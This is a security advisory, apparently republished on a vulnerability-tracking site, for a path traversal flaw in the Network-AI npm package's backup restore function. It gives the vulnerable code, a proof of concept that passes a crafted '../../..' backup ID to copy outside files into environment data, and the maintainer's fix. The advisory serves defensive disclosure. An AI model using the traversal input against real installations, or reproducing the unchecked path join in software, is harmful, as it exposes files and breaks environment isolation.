Medium

Network-AI: EnvironmentManager.restore() backup ID path traversal copies arbitrary directories into environment data

  • Disclosed: 19.06.2026
  • Updated: 11.10.2026 10:22

Summary

EnvironmentManager.restore(env, backupId) computes the backup path with join(envDir, '.backups', backupId) and only checks that this path exists. It does not resolve the result or verify that it remains under data/<env>/.backups.

A caller can pass a traversal backup ID such as ../../../outside/source-dir to restore files from an arbitrary directory into the target environment data directory. Confirmed in Network-AI 5.12.1.

Details

restore() builds backupPath directly from caller-controlled backupId:

ts
restore(env: EnvName, backupId: string): RestoreResult {
  const envDir = this.getDataDir(env);
  const backupsDir = join(envDir, '.backups');
  const backupPath = join(backupsDir, backupId);

  if (!existsSync(backupPath)) {
    throw new Error(`Backup '${backupId}' not found for environment '${env}'`);
  }

  this.backup(env);

  const files = this._collectBackupFiles(backupPath);
  let restored = 0;
  for (const rel of files) {
    if (rel === '_manifest.json') continue;
    const src = join(backupPath, rel);
    const dst = join(envDir, rel);
    try {
      mkdirSync(join(envDir, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true });
      copyFileSync(src, dst);
      restored++;
    } catch { /* skip */ }
  }

  return { backupId, env, filesRestored: restored };
}

There is no resolved containment check that ensures backupPath remains under backupsDir.

Default CLI reachability exists through network-ai env backup restore --env <env> --backup <id>.

Affected source evidence:

  • lib/env-manager.ts:474-499 — vulnerable restore path construction and copy.
  • bin/cli.ts:441-458 — default CLI exposes restore with caller-controlled --backup.

PoC

This PoC uses only temporary directories and restores trust_levels.json from an external directory into data/dev:

bash
TMP=$(mktemp -d)
TMPBASE="$TMP" node -r ts-node/register/transpile-only - <<'TS'
const { EnvironmentManager } = require('./lib/env-manager');
const fs = require('fs');
const path = require('path');
const base = process.env.TMPBASE;
const data = path.join(base, 'data');
const source = path.join(base, 'outside', 'secret-src');

fs.mkdirSync(source, { recursive: true });
fs.writeFileSync(path.join(source, 'trust_levels.json'), '{"leaked":true}');

const mgr = new EnvironmentManager(data, {
  chain: ['dev', 'st'],
  gates: { dev: 'auto', st: 'auto' },
});

mgr.init('dev');
const backupId = path.relative(path.join(data, 'dev', '.backups'), source);
const result = mgr.restore('dev', backupId);
const restored = fs.readFileSync(path.join(data, 'dev', 'trust_levels.json'), 'utf8');

console.log(JSON.stringify({ backupId, filesRestored: result.filesRestored, restored }, null, 2));
fs.rmSync(base, { recursive: true, force: true });
TS

Observed result includes backupId: "../../../outside/secret-src", filesRestored: 1, and restored content {"leaked":true}.

Impact

A caller that can invoke backup restore can copy arbitrary readable directories into data/<env>, subject to process filesystem permissions. This can stage sensitive files into environment data/backup locations, overwrite environment configuration files if matching filenames exist, and break environment isolation. No RCE chain was confirmed.


Resolution (maintainer)

Fixed in v5.12.2 (commit a59c13a). Install: npm install network-ai@5.12.2 — published to npm with provenance.

restore() now validates backupId against /^[\w\-]+$/ and asserts dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir) before touching the filesystem. Backup IDs containing path separators or .. are rejected, so a crafted ID can no longer copy directories from outside .backups/ into the environment.

All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package network-ai < 5.12.2 5.12.2

References

CVSS score 6.1/10
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
Weakness (CWE)
CWE-22, CWE-23
Platform
npm
Package
network-ai
Disclosed
19.06.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-48x2-6pr9-2jjf - CC BY 4.0

Vulnerability history: network-ai

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (9) in the archive
Total entries
9
First → latest
05.2026 06.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 2
  • High 3
  • Medium 4

Disclosures per year

  1. 2026: 9
Severity:
  1. Network-AI: EnvironmentManager.restore() backup ID path traversal copies arbitrary directories into environment data this entry
    Medium · 6.1 CVE-2026-58413 < 5.12.2 5.12.2

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.